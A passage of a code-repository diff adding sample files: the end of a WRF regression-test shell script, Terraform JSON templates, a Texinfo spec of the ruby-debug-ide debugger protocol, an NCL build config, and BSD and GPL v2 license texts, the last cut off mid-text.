+
+		endif
+
+		BOTTOM_OF_PHYSICS_LOOP:
+		
+	end
+
+ALL_SHE_WROTE_FOR_NMM:
+
+	echo "-------------------------------------------------------------" >> ${DEF_DIR}/wrftest.output
+
+        if ( $clrm ) then
+          popd
+        endif
+		
+end
+
+
+#	How long did this take.
+
+set end = ( `date` )
+echo "Start WRF Regression: $start " >> ${DEF_DIR}/wrftest.output
+echo "End   WRF Regression: $end   " >> ${DEF_DIR}/wrftest.output
+
+#	We have done all of the tests, and placed the PASS FAIL labels in the
+#	output file.  If there are any FAIL messages, we are in trouble.
+
+grep FAIL ${DEF_DIR}/wrftest.output
+set ok = $status
+
+#	Send email of the status.
+
+if ( $ok == 0 ) then
+	$MAIL -s "REGRESSION FAILURE $ARCH[1] " $FAIL_MAIL < ${DEF_DIR}/wrftest.output
+else
+	$MAIL -s "REGRESSION SUCCESS $ARCH[1] " $GOOD_MAIL < ${DEF_DIR}/wrftest.output
+endif
+
+#	Clean left up detritus
+
+cd $CUR_DIR
+
+rm -rf damp_*eal >& /dev/null
+rm -rf dom_*eal >& /dev/null
+rm -rf phys_real_* >& /dev/null
+rm -rf nest_real_* >& /dev/null
+rm -rf phys_quarter_* >& /dev/null
+rm -rf phys_b_wave_* >& /dev/null
+rm -rf version_info >& /dev/null
+rm -rf machfile >& /dev/null
+rm -rf fdda_real* >& /dev/null
+rm -rf time_real_* >& /dev/null
+rm -rf dyn_real_* >& /dev/null
+rm -rf damp_* >& /dev/null
+rm -rf io_format >& /dev/null
diff --git a/samples/Terraform Template/donors.tftpl b/samples/Terraform Template/donors.tftpl
new file mode 100644
index 0000000000..76c7eb7812
--- /dev/null
+++ b/samples/Terraform Template/donors.tftpl	
@@ -0,0 +1,11 @@
+{
+    "name": {
+        "stringValue": "${name}"
+    },
+    "email": {
+        "stringValue": "${email}"
+    },
+    "mailing_address": {
+        "stringValue": "${mailing_address}"
+    }
+}
\ No newline at end of file
diff --git a/samples/Terraform Template/policy.tftpl b/samples/Terraform Template/policy.tftpl
new file mode 100644
index 0000000000..409b9f135c
--- /dev/null
+++ b/samples/Terraform Template/policy.tftpl	
@@ -0,0 +1,25 @@
+{
+    "Version": "2012-10-17",
+    "Statement": [
+        {
+            "Effect": "Allow",
+            "Action": ${jsonencode(ec2_policies)},
+            "Resource": "*"
+        },
+        {
+            "Effect": "Allow",
+            "Action": ${jsonencode(s3_policies)},
+            "Resource": "*"
+        },
+        {
+            "Effect": "Allow",
+            "Action": ${jsonencode(lambda_policies)},
+            "Resource": "*"
+        },
+         {
+            "Effect": "Allow",
+            "Action": ${jsonencode(dynamodb_policies)},
+            "Resource": "*"
+        }
+    ]
+}
\ No newline at end of file
diff --git a/samples/Texinfo/protocol-spec.texi b/samples/Texinfo/protocol-spec.texi
new file mode 100644
index 0000000000..3828a1e8f1
--- /dev/null
+++ b/samples/Texinfo/protocol-spec.texi
@@ -0,0 +1,520 @@
+\input texinfo
+@setfilename protocol-spec.texi
+@settitle ruby-debug-ide protocol
+
+@set RDEBUG_IDE @emph{ruby-debug-ide}
+@set RDEBUG_BASE @emph{ruby-debug-base}
+
+@titlepage
+@title ruby-debug-ide protocol
+@subtitle @value{EDITION} Edition
+@subtitle @value{UPDATED-MONTH}
+@author Markus Barchfeld and Martin Krauskopf
+@end titlepage
+
+@page
+
+@node Top, Summary, (dir), (dir)
+@top @value{RDEBUG_IDE} protocol
+
+This file contains specification of the protocol used by @value{RDEBUG_IDE}.
+
+@menu
+* Summary::
+* Specification::
+* Changes::
+@end menu
+
+@node Summary
+@chapter Summary
+
+This document describes protocol used by @value{RDEBUG_IDE} for communication
+between debugger engine and a frontend. It is a work in progress and might, and
+very likely will, change in the future. If you have any comments or questions
+please @email{martin.krauskopf@@gmail.com, send me} an email.
+
+The communication has two parts/sides. First ones are @emph{commands} sent from
+a frontend to the debugger engine and the second is the opposite way,
+@emph{answers} and @emph{events} sent from the debugger engine to the frontend.
+
+@emph{commands} are almost the same as the ones used by CLI ruby-debug. So you
+might want to contact @url{http://bashdb.sourceforge.net/ruby-debug.html, the
+@value{RDEBUG_IDE} document}.
+
+@emph{answers} and @emph{events} are sent in XML format described in the specification @ref{Specification, below}.
+
+@strong{Specification is far from complete.} Will be completed as time permits.
+In the meantime, source code is always the best spec.
+
+@node Specification
+@chapter Specification
+
+@menu
+* Commands::
+* Events::
+@end menu
+
+Terms:
+@itemize @bullet
+@item @emph{Command} is what frontend sends to the debugger engine
+@item @emph{Answer} is what debugger engine sends back to the frontend
+@item @emph{Example} shows simple example
+@end itemize
+
+
+@c Commands
+@node Commands
+@section Commands
+
+@menu
+* Adding Breakpoint::
+* Deleting Breakpoint::
+* Enabling Breakpoint::
+* Disabling Breakpoint::
+* Condition::
+* Catchpoint::
+* Threads::
+* Frames::
+* Variables::
+@end menu
+
+@c Adding Breakpoint
+@node Adding Breakpoint
+@subsection Adding Breakpoint
+
+Command:
+
+@smallexample
+  break <script>:<line_no>
+@end smallexample
+
+Answer:
+
+@smallexample
+  <breakpointAdded no="<id>" location="<script>:<line_no>"/>
+@end smallexample
+
+Example:
+
+@smallexample
+  C: break test.rb:2
+  A: <breakpointAdded no="1" location="test.rb:2"/>
+@end smallexample
+
+
+@c Deleting Breakpoint
+@node Deleting Breakpoint
+@subsection Deleting Breakpoint
+
+Command:
+
+@smallexample
+  delete <breakpoint_id>
+@end smallexample
+
+Answer:
+
+@smallexample
+  <breakpointDeleted no="<id>"/>
+@end smallexample
+
+Example:
+
+@smallexample
+  C: delete 2
+  A: <breakpointDeleted no="2"/>
+@end smallexample
+
+
+@c Enabling Breakpoint
+@node Enabling Breakpoint
+@subsection Enabling Breakpoint
+
+Supported @emph{@strong{since}} @value{RDEBUG_IDE} @emph{@strong{0.2.0}}
+
+Command:
+
+@smallexample
+  enable <breakpoint_id>
+@end smallexample
+
+Answer:
+
+@smallexample
+  <breakpointEnabled bp_id="<id>"/>
+@end smallexample
+
+Example:
+
+@smallexample
+  C: enable 2
+  A: <breakpointEnabled bp_id="2"/>
+@end smallexample
+
+
+@c Disabling Breakpoint
+@node Disabling Breakpoint
+@subsection Disabling Breakpoint
+
+Supported @emph{@strong{since}} @value{RDEBUG_IDE} @emph{@strong{0.2.0}}
+
+Command:
+
+@smallexample
+  disable <breakpoint_id>
+@end smallexample
+
+Answer:
+
+@smallexample
+  <breakpointDisabled bp_id="<id>"/>
+@end smallexample
+
+Example:
+
+@smallexample
+  C: disable 2
+  A: <breakpointDisabled bp_id="2"/>
+@end smallexample
+
+
+@c Condition
+@node Condition
+@subsection Setting Condition on Breakpoint
+
+Supported @emph{@strong{since}} @value{RDEBUG_IDE} @emph{@strong{0.2.0}}
+
+Command:
+
+@smallexample
+  condition <script>:<line_no>
+@end smallexample
+
+Answer:
+
+@smallexample
+  <conditionSet bp_id="<id>"/>
+@end smallexample
+
+Example:
+
+@smallexample
+  C: condition 1 x>5   # Stop on breakpoint 1 only if x>5 is true.
+  A: <conditionSet bp_id="1"/>
+@end smallexample
+
+
+@c Catchpoint
+@node Catchpoint
+@subsection Exception Breakpoint
+
+Command:
+
+@smallexample
+  catch <exception_class_name>
+@end smallexample
+
+Answer:
+
+@smallexample
+  <catchpointSet exception="<exception_class_name>"/>
+@end smallexample
+
+Example:
+
+@smallexample
+  C: catch ZeroDivisionError
+  A: <catchpointSet exception="ZeroDivisionError"/>
+@end smallexample
+
+
+@c Threads
+@node Threads
+@subsection Threads Listing
+
+Command:
+
+@smallexample
+  thread list
+@end smallexample
+
+Answer:
+
+@smallexample
+  <threads>
+    <thread id="<id>" status="<status>"/>
+    ....
+  </threads>
+@end smallexample
+
+Example:
+
+@smallexample
+  C: thread list
+  A: <threads>
+       <thread id="1" status="run"/>
+       <thread id="2" status="sleep"/>
+     </threads>
+@end smallexample
+
+
+@c Frames
+@node Frames
+@subsection Frames Listing
+
+Command:
+
+@smallexample
+  where
+@end smallexample
+
+Answer:
+
+@smallexample
+  <frames>
+    <frame no="<frame_no>" file="<script>" line="<line_no>" current="<boolean>"/>
+    <frame no="<frame_no>" file="<script>" line="<line_no>"/>
+    ...
+  </frames>
+@end smallexample
+
+Example:
+
+@smallexample
+  C: where
+  A: <frames>
+       <frame no="1" file="/path/to/test2.rb" line="3" current="true" />
+       <frame no="2" file="/path/to/test.rb" line="3" />
+     </frames>
+@end smallexample
+
+
+@c Variables
+@node Variables
+@subsection Variables Listing
+
+@subsubsection Local Variables
+
+Example:
+
+@smallexample
+  C: var local
+  A: <variables>
+       <variable name="array" kind="local" value="Array (2 element(s))" type="Array" hasChildren="true" objectId="-0x2418a904"/>
+     </variables>
+@end smallexample
+
+@subsubsection Instance Variables
+
+Example:
+
+@smallexample
+  C: var instance some_array
+  A: <variables>
+       <variable name="[0]" kind="instance" value="1" type="Fixnum" hasChildren="false" objectId="+0x3"/>
+       <variable name="[1]" kind="instance" value="2" type="Fixnum" hasChildren="false" objectId="+0x5"/>
+     </variables>
+@end smallexample
+
+@smallexample
+
+  C: var instance some_object
+  A: <variables>
+       <variable name="@@y" kind="instance" value="5" type="Fixnum" hasChildren="false" objectId="+0xb"/>
+     </variables>
+@end smallexample
+
+
+@c Events
+@node Events
+@section Events
+
+@menu
+* Breakpoint::
+* Suspension::
+* Exception::
+* Message::
+@end menu
+
+@c Breakpoint
+@node Breakpoint
+@subsection Breakpoint
+
+Event example:
+@smallexample
+  <breakpoint file="test.rb" line="1" threadId="1"/>
+@end smallexample
+
+@c Suspension
+@node Suspension
+@subsection Suspension
+Event example:
+@smallexample
+  <suspended file="/path/to/test.rb" line="2" threadId="1" frames="1"/>
+@end smallexample
+
+@c Exception
+@node Exception
+@subsection Exception
+
+Event example:
+@smallexample
+  <exception file="/path/to/test.rb" line="2" type="ZeroDivisionError" message="divided by 0" threadId="1"/>
+@end smallexample
+
+@c Message
+@node Message
+@subsection Message
+
+Event example:
+@smallexample
+  <message>some text</message>
+  <message debug='true'>some debug text</message>
+@end smallexample
+
+
+@c Changes section
+@node Changes
+@chapter Changes
+
+Mentions also related changes in the @value{RDEBUG_IDE} gem implementation.
+
+@section Changes between 0.4.9 and 0.4.10
+
+@itemize @bullet
+@item Fixes possible NoSuchMethodException
+@end itemize
+
+@section Changes between 0.4.5 and 0.4.6
+
+@itemize @bullet
+@item added Debugger::start_server (ticket #25972)
+@end itemize
+
+@section Changes between 0.4.4 and 0.4.5
+
+@itemize @bullet
+@item possibility to remove catchpoints
+@item bugfix: syntax error with Ruby 1.9
+@end itemize
+
+@section Changes between 0.4.3 and 0.4.4
+
+@itemize @bullet
+@item bugfix: print out backtrace when debuggee fails
+@end itemize
+
+@section Changes between 0.4.2 and 0.4.3
+
+@itemize @bullet
+@item depends on the "~> 0.10.3.x", rather then on 0.10.3 exactly to be
+  compatible with future ruby-debug-base 0.10.3.x releases
+@end itemize
+
+@section Changes between 0.4.1 and 0.4.2
+
+@itemize @bullet
+@item Dependency changed to @t{ruby-debug-base-0.10.3} which fixes various bugs
+  and contains bunch of RFEs
+@end itemize
+
+@section Changes between 0.4.0 and 0.4.1
+
+@itemize @bullet
+@item '--stop' switch: stop at the first line when the script is loaded.
+  Utilized by remote debugging
+@item Making '-x' switch actually work. Commenting out sending of <trace>
+  elements to the debugger. To be decided. There are large amount of such
+  events. For now serves rather for ruby-debug-ide developers.
+@item ensure 'file' attribute contains absolute path
+@item fixing CLI verbose when -d is used. Some unused code
+@end itemize
+
+
+@section Changes between 0.3.1 and 0.4.0
+
+@itemize @bullet
+@item Support for @t{debug} attribute in @t{message} element. Emitted by
+  backend when @t{--xml-debug} (new since 0.4.0) option is used.
+@item More robust failures handling in DebugThread
+@end itemize
+
+
+@section Changes between 0.3.4 and 0.3.5
+
+@itemize @bullet
+@item bugfix: syntax error with Ruby 1.9
+@end itemize
+
+
+@section Changes between 0.3.3 and 0.3.4
+
+@itemize @bullet
+@item bugfix: print out backtrace when debuggee fails
+@end itemize
+
+
+@section Changes between 0.3.2 and 0.3.3
+
+@itemize @bullet
+@item depends on the "~> 0.10.3.x", rather then on 0.10.3 exactly to be
+  compatible with future ruby-debug-base 0.10.3.x releases
+@end itemize
+
+
+@section Changes between 0.3.1 and 0.3.2
+
+@itemize @bullet
+@item Dependency changed to @t{ruby-debug-base-0.10.3} which fixes various bugs
+  and contains bunch of RFEs
+@end itemize
+
+
+@section Changes between 0.3.0 and 0.3.1
+
+@itemize @bullet
+@item Support for @emph{--load-mode} option. Hotfix, likely workaround, for
+  GlassFish debugging. Experimental, might be removed in the future. If option
+  is used, it calls @t{Debugger#debug_load with} @t{increment_start=true}
+@end itemize
+
+
+@section Changes between 0.2.1 and 0.3.0
+
+@itemize @bullet
+@item @ref{Catchpoint} now answers with @t{<conditionSet>} instead of just
+  @t{<message>} providing better control at frontend side
+@item Dependency changed to @t{ruby-debug-base-0.10.2}
+@item Bugfixes (see ChangeLog)
+@end itemize
+
+
+@section Changes between 0.2.0 and 0.2.1
+
+@itemize @bullet
+@item Hotfixing/workarounding problem with connection on some Mac OSes, see
+@url{http://ruby.netbeans.org/servlets/BrowseList?list=users&by=thread&from=861334,
+Debugger timing out} thread.
+@end itemize
+
+
+@section Changes between 0.1.10 and 0.2.0
+
+@subsection New Features
+@itemize @bullet
+@item @ref{Condition}
+@item @ref{Enabling Breakpoint}
+@item @ref{Disabling Breakpoint}
+@end itemize
+
+@subsection Uncompatible Changes
+@itemize @bullet
+@item @emph{catch off} does not work anymore, since @value{RDEBUG_BASE}s
+   support multiple catchpoints since 0.10.1, not just one.
+   @strong{Note:} however @value{RDEBUG_BASE}s in version 0.10.1 suffers with
+   @url{http://rubyforge.org/tracker/index.php?func=detail&aid=20237&group_id=1900&atid=7436, bug}
+   that it is not possible to remove catchpoints. So catchpoints removing must
+   be workarounded in higher layers. The bug is fixed in @value{RDEBUG_BASE}s
+   0.10.2 and above.
+@end itemize
+
diff --git a/samples/Text/Site.local.ncl b/samples/Text/Site.local.ncl
deleted file mode 100644
index 695dfa24b1..0000000000
--- a/samples/Text/Site.local.ncl
+++ /dev/null
@@ -1,22 +0,0 @@
-#define YmakeRoot $(DESTDIR)@prefix@
-#define ManRoot $(DESTDIR)@mandir@
-#define LibRoot $(DESTDIR)@libdir@/ncarg
-#define SharePath $(DESTDIR)@datadir@
-
-#define BuildWithF90 TRUE
-#define IncSearch -I/usr/include/netcdf -I/usr/include/udunits2 -I/usr/include/freetype2 -I/usr/include/gdal
-#define LibSearch -L@libdir@/hdf
-
-#define BuildNetCDF4 1
-#define NetCDF4lib -lnetcdf
-#define BuildCAIRO 1
-#define CAIROlib -lcairo -lfreetype
-#define BuildGDAL 1
-#define GDALlib -lgdal
-#define BuildHDFEOS 0
-#define BuildHDFEOS5 0
-#define BuildTRIANGLE 0
-#define HDFlib -lmfhdf -ldf -ljpeg -lz
-#define HDF5lib -lhdf5_hl -lhdf5
-#define BuildUdunits 1
-#define UdUnitslib -ludunits2
diff --git a/samples/Text/filenames/COPYING.regex b/samples/Text/filenames/COPYING.regex
new file mode 100644
index 0000000000..a6392fd37c
--- /dev/null
+++ b/samples/Text/filenames/COPYING.regex
@@ -0,0 +1,54 @@
+$OpenBSD: COPYRIGHT,v 1.3 2003/06/02 20:18:36 millert Exp $
+
+Copyright 1992, 1993, 1994 Henry Spencer.  All rights reserved.
+This software is not subject to any license of the American Telephone
+and Telegraph Company or of the Regents of the University of California.
+
+Permission is granted to anyone to use this software for any purpose on
+any computer system, and to alter it and redistribute it, subject
+to the following restrictions:
+
+1. The author is not responsible for the consequences of use of this
+   software, no matter how awful, even if they arise from flaws in it.
+
+2. The origin of this software must not be misrepresented, either by
+   explicit claim or by omission.  Since few users ever read sources,
+   credits must appear in the documentation.
+
+3. Altered versions must be plainly marked as such, and must not be
+   misrepresented as being the original software.  Since few users
+   ever read sources, credits must appear in the documentation.
+
+4. This notice may not be removed or altered.
+
+=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
+/*-
+ * Copyright (c) 1994
+ *	The Regents of the University of California.  All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ * 3. Neither the name of the University nor the names of its contributors
+ *    may be used to endorse or promote products derived from this software
+ *    without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ *	@(#)COPYRIGHT	8.1 (Berkeley) 3/16/94
+ */
diff --git a/samples/Text/filenames/LICENSE.mysql b/samples/Text/filenames/LICENSE.mysql
new file mode 100644
index 0000000000..ecbc059373
--- /dev/null
+++ b/samples/Text/filenames/LICENSE.mysql
@@ -0,0 +1,339 @@
+                    GNU GENERAL PUBLIC LICENSE
+                       Version 2, June 1991
+
+ Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
+ 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+                            Preamble
+
+  The licenses for most software are designed to take away your
+freedom to share and change it.  By contrast, the GNU General Public
+License is intended to guarantee your freedom to share and change free
+software--to make sure the software is free for all its users.  This
+General Public License applies to most of the Free Software
+Foundation's software and to any other program whose authors commit to
+using it.  (Some other Free Software Foundation software is covered by
+the GNU Lesser General Public License instead.)  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+this service if you wish), that you receive source code or can get it
+if you want it, that you can change the software or use pieces of it
+in new free programs; and that you know you can do these things.
+
+  To protect your rights, we need to make restrictions that forbid
+anyone to deny you these rights or to ask you to surrender the rights.
+These restrictions translate to certain responsibilities for you if you
+distribute copies of the software, or if you modify it.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must give the recipients all the rights that
+you have.  You must make sure that they, too, receive or can get the
+source code.  And you must show them these terms so they know their
+rights.
+
+  We protect your rights with two steps: (1) copyright the software, and
+(2) offer you this license which gives you legal permission to copy,
+distribute and/or modify the software.
+
+  Also, for each author's protection and ours, we want to make certain
+that everyone understands that there is no warranty for this free
+software.  If the software is modified by someone else and passed on, we
+want its recipients to know that what they have is not the original, so
+that any problems introduced by others will not reflect on the original
+authors' reputations.
+
+  Finally, any free program is threatened constantly by software
+patents.  We wish to avoid the danger that redistributors of a free
+program will individually obtain patent licenses, in effect making the
+program proprietary.  To prevent this, we have made it clear that any
+patent must be licensed for everyone's free use or not licensed at all.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+                    GNU GENERAL PUBLIC LICENSE
+   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+  0. This License applies to any program or other work which contains
+a notice placed by the copyright holder saying it may be distributed
+under the terms of this General Public License.  The "Program", below,
+refers to any such program or work, and a "work based on the Program"
+means either the Program or any derivative work under copyright law:
+that is to say, a work containing the Program or a portion of it,
+either verbatim or with modifications and/or translated into another
+language.  (Hereinafter, translation is included without limitation in
+the term "modification".)  Each licensee is addressed as "you".
+
+Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope.  The act of
+running the Program is not restricted, and the output from the Program
+is covered only if its contents constitute a work based on the
+Program (independent of having been made by running the Program).
+Whether that is true depends on what the Program does.
+
+  1. You may copy and distribute verbatim copies of the Program's
+source code as you receive it, in any medium, provided that you
+conspicuously and appropriately publish on each copy an appropriate
+copyright notice and disclaimer of warranty; keep intact all the
+notices that refer to this License and to the absence of any warranty;
+and give any other recipients of the Program a copy of this License
+along with the Program.
+
+You may charge a fee for the physical act of transferring a copy, and
+you may at your option offer warranty protection in exchange for a fee.
+
+  2. You may modify your copy or copies of the Program or any portion
+of it, thus forming a work based on the Program, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
+
+    a) You must cause the modified files to carry prominent notices
+    stating that you changed the files and the date of any change.
+
+    b) You must cause any work that you distribute or publish, that in
+    whole or in part contains or is derived from the Program or any
+    part thereof, to be licensed as a whole at no charge to all third
+    parties under the terms of this License.
+
+    c) If the modified program normally reads commands interactively
+    when run, you must cause it, when started running for such
+    interactive use in the most ordinary way, to print or display an
+    announcement including an appropriate copyright notice and a
+    notice that there is no warranty (or else, saying that you provide
+    a warranty) and that users may redistribute the program under
+    these conditions, and telling the user how to view a copy of this
+    License.  (Exception: if the Program itself is interactive but
+    does not normally print such an announcement, your work based on
+    the Program is not required to print an announcement.)
+
+These requirements apply to the modified work as a whole.  If
+identifiable sections of that work are not derived from the Program,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works.  But when you
+distribute the same sections as part of a whole which is a work based
+on the Program, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote it.
+
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Program.
+
+In addition, mere aggregation of another work not based on the Program
+with the Program (or with a work based on the Program) on a volume of
+a storage or distribution medium does not bring the other work under
+the scope of this License.
+
+  3. You may copy and distribute the Program (or a work based on it,
+under Section 2) in object code or executable form under the terms of
+Sections 1 and 2 above provided that you also do one of the following:
+
+    a) Accompany it with the complete corresponding machine-readable
+    source code, which must be distributed under the terms of Sections
+    1 and 2 above on a medium customarily used for software interchange; or,
+
+    b) Accompany it with a written offer, valid for at least three
+    years, to give any third party, for a charge no more than your
+    cost of physically performing source distribution, a complete
+    machine-readable copy of the corresponding source code, to be
+    distributed under the terms of Sections 1 and 2 above on a medium
+    customarily used for software interchange; or,
+
+    c) Accompany it with the information you received as to the offer
+    to distribute corresponding source code.  (This alternative is
+    allowed only for noncommercial distribution and only if you
+    received the program in object code or executable form with such
+    an offer, in accord with Subsection b above.)
+
+The source code for a work means the preferred form of the work for
+making modifications to it.  For an executable work, complete source
+code means all the source code for all modules it contains, plus any
+associated interface definition files, plus the scripts used to
+control compilation and installation of the executable.  However, as a
+special exception, the source code distributed need not include
+anything that is normally distributed (in either source or binary
+form) with the major components (compiler, kernel, and so on) of the
+operating system on which the executable runs, unless that component
+itself accompanies the executable.
+
+If distribution of executable or object code is made by offering
+access to copy from a designated place, then offering equivalent
+access to copy the source code from the same place counts as
+distribution of the source code, even though third parties are not
+compelled to copy the source along with the object code.
+
+  4. You may not copy, modify, sublicense, or distribute the Program
+except as expressly provided under this License.  Any attempt
+otherwise to copy, modify, sublicense or distribute the Program is
+void, and will automatically terminate your rights under this License.
+However, parties who have received copies, or rights, from you under
+this License will not have their licenses terminated so long as such
+parties remain in full compliance.
+
+  5. You are not required to accept this License, since you have not
+signed it.  However, nothing else grants you permission to modify or
+distribute the Program or its derivative works.  These actions are
+prohibited by law if you do not accept this License.  Therefore, by
+modifying or distributing the Program (or any work based on the
+Program), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Program or works based on it.
+
+  6. Each time you redistribute the Program (or any work based on the
+Program), the recipient automatically receives a license from the
+original licensor to copy, distribute or modify the Program subject to
+these terms and conditions.  You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties to
+this License.
+
+  7. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot
+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Program at all.  For example, if a patent
+license would not permit royalty-free redistribution of the Program by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Program.
+
+If any portion of this section is held invalid or unenforceable under
+any particular circumstance, the balance of the section is intended to
+apply and the section as a whole is intended to apply in other
+circumstances.
+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system, which is
+implemented by public license practices.  Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+  8. If the distribution and/or use of the Program is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Program under this License
+may add an explicit geographical distribution limitation excluding
+those countries, so that distribution is permitted only in or among
+countries not thus excluded.  In such case, this License incorporates
+the limitation as if written in the body of this License.
+
+  9. The Free Software Foundation may publish revised and/or new versions
+of the General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+Each version is given a distinguishing version number.  If the Program
+specifies a version number of this License which applies to it and "any
+later version", you have the option of following the terms and conditions
+either of that version or of any later version published by the Free
+Software Foundation.  If the Program does not specify a version number of
+this License, you may choose any version ever published by the Free Software
+Foundation.
+
+  10. If you wish to incorporate parts of the Program into other free
+programs whose distribution conditions are different, write to the author
+to ask for permission.  For software which is copyrighted by the Free
+Software Foundation, write to the Free Software Foundation; we sometimes
+make exceptions for this.  Our decision will be guided by the two goals
+of preserving the free status of all derivatives of our free software and
+of promoting the sharing and reuse of software generally.
+
+                            NO WARRANTY
+
+  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
+FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
+OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
+PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
+OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
+PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
+REPAIR OR CORRECTION.
+
+  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
+REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
+INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
+OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
+TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
+YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
+PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
+
+                     END OF TERMS AND CONDITIONS
+
+            How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+convey the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This program is free software; you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation; either version 2 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License along
+    with this program; if not, write to the Free Software Foundation, Inc.,
+    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Also add information on how to contact you by electronic and paper mail.
+
+If the program is interactive, make it output a short notice like this
+when it starts in an interactive mode:
+
+    Gnomovision version 69, Copyright (C) year name of author
+    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, the commands you use may
